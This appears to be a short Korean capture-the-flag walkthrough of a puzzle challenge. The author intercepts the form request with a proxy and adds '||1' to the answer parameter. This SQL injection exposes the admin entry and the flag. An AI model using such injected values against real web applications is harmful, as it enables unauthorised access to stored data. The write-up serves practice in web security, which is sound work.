

다음과 같은 로직이 있다.

					1		
			1		1		1
			1	3	1	3	1
1	1	1					
		0					
		3					
	1	1					
		5					

gogo

로직을 풀고 gogo버튼을 눌러 보았다.

					1		
			1		1		1
			1	3	1	3	1
1	1	1					
		0					
		3					
	1	1					
		5					

gogo

name 품이 보인다.

값을 넣고 write 버튼을 눌러봤다.

name :

다음과 같이 입력한 name, answer, ip가 나온다.

name : yeonji

answer : 101010000001110010101111

ip : 123.142.203.94

파로스로 잡아보니 다음과 같이 나왔다.

`answer=101010000001110010101111&id=yeonji`

answer 값에 ||1로 인젝션을 하였다.

||1은 or 1이라는 뜻이다.

```
answer=101010000001110010101111||1&id=yeonji
```

위의 값으로 보내보니 다음과 같이 new_sql_injection이라는 답을 얻었다.

```
<html>
<head>
<title>Challenge 3</title>
</head>
<body>
<center>Puzzle</center>
<p>
<hr>

<form name=kk method=get action=index.php>

<p>name : admin<br>answer : new_sql_injection<br>
```